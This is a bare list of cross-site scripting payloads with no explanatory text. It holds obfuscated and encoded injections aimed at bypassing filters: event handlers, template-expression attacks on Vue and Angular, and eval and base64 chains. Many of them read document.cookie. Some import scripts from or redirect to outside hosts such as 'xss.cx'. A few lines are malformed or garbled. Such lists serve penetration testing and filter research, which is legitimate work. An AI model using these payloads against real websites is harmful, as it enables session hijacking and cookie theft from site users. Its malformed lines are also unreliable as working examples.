window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
window['alert']()
';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//
window['alXert'.replace(/X/, '')](self['document']['cookie'])
window['alXert’ .replace(/X/, ")|(self[document'][cookie'])
window[document.body.innerText.charAt(document.body.innerText.indexOf('a'))+'lert'](1)
{{window['eval'](window['atob'](window['decodeURIComponent']('Ij48aW1nIHNyYz14IG9uZXJyb3I9cHJvbXB0KGRvY3VtZW50LmNvb2tpZSk7PjEy')))}}
window["ev".concat("al")](String.fromCharCode(97,108,101,114,116,40,49,41));
';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
window.location.assign("http://xss.cx")
window.name="alert(23)";
window.name='a\x01b'
window.name='hacked';location.replace('about:blank');
window.name="<img src=x onerror=alert(23)>"
window.name="javascript:alert(23)";
window.name='javascript:alert(23)';
window.name='javascript:alert\x2823\x29';
window.name="javascript:confirm((window.opener||window).document.cookie);";
window.open("http://xss.cx","confirm(document.domain);", "", false);
';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
with(document)alert(cookie)
x");$=alert, $(1);//
--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
x=1}}};alert(1)//
'x'%20onclick='confirm`1`'
--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
x%22%20onerror%3Dalert%28%27Qusai%22%29%20x%3D%22
'x'%2520onclick='confirm%601%60'
&#x25;5Cu0061&#x25;5Cu006C&#x25;5Cu0065&#x25;5Cu0072&#x25;5Cu0074&#x25;28&#x25;29
&#x27;javascript:alert(2)&#x27;
#x27;&lt;img src=1 onerror=alert(1)&gt;&#x27;
&#x27;&lt;script&gt;alert(1)&lt;/script&gt;&#x27;
&#x27;&quot;&gt;&lt;img src=x onerror=prompt(document['domain']);&gt;&#x27;
&#x27;&quot;&lt;img src=1 onerror=alert(1)&gt;&quot;&#x27;
&#x3C;img src=1 onerror=alert(1)&#x3E;
&#x3c;img&#x2f;src&#x2f;onerror=alert('kalendra')&#x3e;
'`"><\x3Cscript>javascript:alert(1)</script>
\x3Cscript>javascript:alert(1)</script>
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;
&#x3C;script&#x3E;alert(1)&#x3C;&#x2F;script&#x3E;
&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;
--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
'&#x3E;'>"><script>alert(2);</script>
'&#x3E;'><script>alert(2);</script>
&#x60;&#x115;&#x99;&#x114;&#x105;&#x112;&#x116;&#x62;&#x97;&#x108;&#x101;&#x114;&#x116;&#x40;&#x39;&#x120;&#x115;&#x115;&#x39;&#x41;&#x60;&#x47;&#x115;&#x99;&#x114;&#x105;&#x112;&#x116;&#x62;
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
<x :[_b.constructor`alert(1)`()]>
<x @[_b.constructor`alert(1)`()]>
<x #[_c.constructor`alert(1)`()]>
<x @click=$event.view.alert(1)>click</x>
<x @click='_b.constructor`alert(1)`()'>click</x>
<x @click=_withCtx.constructor`alert(1)`()>click</x>
\xE2\x81\x9Fjavascript:javascript:confirm(1)
'; x=eval; </script> <svg onpointerenter=alert()%20z= alert >
<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
<xhzeem attr=" --- x="=='='onmouseover=confirm`xhzeem` style="display:block;width:1000px;height:1000px;background:red"> --- ">
x='javascript:alert\x2823\x29';x={x:location}=this
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
<xml onreadystatechange=alert(1)>
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
<xmp><img title="</xmp><img src onerror=alert(1)>"></xmp>
<x ng-app>{{constructor.constructor('alert(1)')()}}
<x onauxclick=a=alert,a(domain)>click
<x onauxclick=import('//1152848220/')>click
<x onauxclick=import('//xss/')>click
<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme
<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme 
<x/onclick=globalThis&lsqb;?\u0070r\u006f?+?mpt?]&lt;)>clickme
<x/onclick=globalThis&lsqb;’\u0070r\u006f’+’mpt’]&lt;)>clickme
<x/oncopy=alert()>x
x" onerror=alert('Qusai") x="
<x onmouseup=alert(1)>click this!
<x onxxx=alert(1) 1='
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1);</x:script>
'';!--"<XSS>=&{()}
XSS"%0D<body='X' onmouseover=setInterval`alert\x28&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;\x29`//
xss:&#101;x&#x2F; *XSS*//*//pression(alert("XSS"))'>
/?xss=500); alert(document.cookie);//
- xss"></a><input value="Type anything"onbeforeinput="prompt%26lpar%3Bdocument.domain%26rpar%3B"><!--
<xss autofocus tabindex=1 onfocusin=alert(1)></xss>	
<xssBypass/onpointermove=(confirm)(1)>MoveMouseHere
<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>
<xss class=progress-bar-animated onanimationstart=alert(1)>
"><xss/contenteditable/autofocus/onfocus="alert(1)">%232%20XSS</xss>
<xss draggable="true" ondragexit-alert()>test</xss>
<xss draggable="true" ondragleave="alert(1)" style=display:block>test</xss>
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
XSS_HERE_%EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E
xss'''><iframe srcdoc='%26it;script>;prompt` ${document.domain}`%26it;/script>'>
xss'"><iframe srcdoc='%26lt;script>;alert(1)%26lt;/script>'>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
<!--xss"><img src=x onerror=alert(1)>-->
<!--xss"><img src=x onerror=prompt(document.domain)>-->
<xss onafterscriptexecute=alert(1)><script>1</script>
<xss onbeforescriptexecute=alert(1)><script>1</script>
<xss onfocus=alert(1) autofocus tabindex=1>
XSS"onfocus="prompt(document.cookie)"autofocus="
<xss onkeypress="alert(1)" contenteditable style=display:block>test</xss>
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
xss=*/prompt("XSS")/*&
xss"</sc"ript><sv"g/onloa"d=aler"t"(document.doma"in)>
<XSS STYLE="behavior: url(%(htc)s);">
<xss style="x:expression(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="Xss:expressionfalert('XSS'))">
<XSS STYLE="xss:expression(javascript:alert(1))">
(xss"><!--><svg/onload=alert(document.domain)>)
xss"><!--><svg/onload=alert(document.domain)>
xss\"\u003E\u003Ch1  onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!--
<x style="behavior:url(%(sct)s)">
x"><svg%0Donload="window['alert']((document)['cookie'])">
x"><svg%0Donload="window['alert'](document.cookie)">
x"><svg%0Donload="window['alert'](document['cookie'])"
x"><svg%0Donload="window['alert'](document['cookie'])">
x"><svg%0Donload=`window["alert"](((document)['cookie']))`>
x"><svg%0Donload=`window['alert']((document)['cookie'])`>
x'><svg%0Donload='window["alert"](document.cookie)'>
x\"><svg%0Donload=\"window[\'alert\']((document)[\'cookie\'])\">
x"><svg%250donload%3D"window%5B%27alert%27%5D(location[%27hostname%27])"
<x title"="&lt;iframe&Tab;onload&Tab;=alert(1)&gt;">
<x title"="&lt;iframe&Tab;onload&Tab;=setTimeout(/alert(1)/.source)&gt;">
<x v-bind:a='_b.constructor`alert(1)`()'>
<x v-html=_c.constructor('alert(1)')()>
<x v-if=_c.constructor('alert(1)')()>
<x v-on:click='_b.constructor`alert(1)`()'>click</x>
x"><x a="><script>alert(1)</script>
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
xxxxxxxxx'});}); </script><script>prompt ("PLEASE%20\nSUBSCRIBE") </script>
xxxxxxxxx'});});</script><script>prompt("PLEASE%20\nSUBSCRIBE")</script>
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
xyz';"/></textarea><Img Src=OnXSS OnError=prompt(document.cookie)>
(Z("onerror="a=console,a.log`${cookie}`"))
(Z("onerror="a=print,a`1`"))
zzz%27onmou%3Cseover=1&ale%3Crt(%27xsp%27%3C)%3C%3B1%3B%20//
"<zzz><style>@keyframes+x+{}</style><xss+style="animation-Name:+x"+onwebkitanimationstart="print()"></xss>
([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
�;alert(String.fromCharCode(88,83,83))//�></SCRIPT>�>�><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
�><s�%2b�cript>alert(document.cookie)</script>
嘼img src=1 onerror=alert(1)嘾
嘼"><svg onload=prompt(document.domain);>
嘼svg><script>a<!>l<!>e<!>r<!>t<!>(<!>1<!>)</script>
嘼嘾img%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3B%3E
嘾嘾<script>alert(2);</script>